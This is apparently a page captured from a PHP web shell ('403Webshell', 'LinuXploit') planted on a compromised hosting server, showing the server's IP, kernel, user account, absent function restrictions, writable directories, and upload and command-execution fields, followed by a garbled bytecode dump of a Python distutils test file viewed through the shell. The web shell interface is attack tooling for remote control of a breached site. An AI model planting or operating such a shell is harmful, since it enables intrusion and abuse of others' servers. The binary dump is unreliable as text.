403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/distutils/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/distutils/tests/__pycache__/test_cmd.cpython-36.pyc
3

x2_��@s�dZddlZddlZddlmZmZddlmZddlm	Z	ddl
mZddlm
Z
Gdd	�d	e�ZGd
d�dej�Zdd
�Zedkr�ee��dS)zTests for distutils.cmd.�N)�captured_stdout�run_unittest)�Command)�Distribution)�DistutilsOptionError)�debugc@seZdZdd�ZdS)�MyCmdcCsdS)N�)�selfr	r	�=/opt/alt/python36/lib64/python3.6/distutils/tests/test_cmd.py�initialize_optionsszMyCmd.initialize_optionsN)�__name__�
__module__�__qualname__rr	r	r	rrsrc@sLeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�CommandTestCasecCst�}t|�|_dS)N)rr�cmd)r
Zdistr	r	r�setUpszCommandTestCase.setUpcCs�|j}dddg|_dddg|_t�|_d|_|jd�|jd�|jt|jd�|jt|jd	�d
|_	|jd�|j
|j	ddg�d
dg|_|jd�ddg|_|jt|jd�dS)NZone�ZthreeZtwo�ok�yes_string_list�yes_string_list2�not_string_list�not_string_list2zok,dok�option1Zdok�xxxZwww�option2�option3)
rrr�objectrrZensure_string_list�assertRaisesrr�assertEqualrr)r
rr	r	r�test_ensure_string_lists&








z'CommandTestCase.test_ensure_string_listcsL�j}�jt|jdddfd��fdd�}d|_||_|jdd	dfd�dS)
N���func)ZinfilesZoutfiler#�argscs�j|d�dS)Nzgenerating out from in)r)r#r$Zexec_msg�level)r
r	r�_execute:sz0CommandTestCase.test_make_file.<locals>._executeT�in�out)rr�	TypeErrorZ	make_fileZforceZexecute)r
rr&r	)r
r�test_make_file1s
zCommandTestCase.test_make_filecsTg��fdd�}|j}||_d|_d|_d
dg|_|j�ddd	g}|j�|�dS)Ncs�j|�dS)N)�append)�msgr%)�msgsr	r�	_announceCsz4CommandTestCase.test_dump_options.<locals>._announcer!rr"rzcommand options for 'MyCmd':z
  option1 = 1z
  option2 = 1)rr"r")rr"r")rZannouncerrZuser_optionsZdump_optionsr)r
r.rZwantedr	)r-r�test_dump_options@s
z!CommandTestCase.test_dump_optionscCsR|j}d|_|jd�d|_|jdd�|jt|d��d|_|jt|jd�dS)Nrrrrr!r)	rrZ
ensure_stringrZ
assertTrue�hasattrrrr)r
rr	r	r�test_ensure_stringPs
z"CommandTestCase.test_ensure_stringcCs0|j}t|_|jd�d|_|jt|jd�dS)Nrrr)r�__file__rZensure_filenamerrr)r
rr	r	r�test_ensure_filename\s

z$CommandTestCase.test_ensure_filenamecCs>|j}tjjt�ptj|_|jd�d|_|j	t
|jd�dS)Nrrr)r�os�path�dirnamer2�curdirrZensure_dirnamerrr)r
rr	r	r�test_ensure_dirnamecs

z#CommandTestCase.test_ensure_dirnamecCs�|j}t��}|jd�WdQRX|jd�|j|j�d�dt_z:t��}|jd�WdQRX|jd�|j|j�d�Wddt_XdS)Nrrr"Tzxxx
F)rrZdebug_print�seekr�readr�DEBUG)r
r�stdoutr	r	r�test_debug_printjs

z CommandTestCase.test_debug_printN)r
rrrr r*r/r1r3r8r=r	r	r	rrsrcCs
tjt�S)N)�unittestZ	makeSuiterr	r	r	r�
test_suitezsr?�__main__)�__doc__r>r4Ztest.supportrrZ
distutils.cmdrZdistutils.distrZdistutils.errorsrZ	distutilsrrZTestCaserr?r
r	r	r	r�<module>sk

Youez - 2016 - github.com/yon3zu
LinuXploit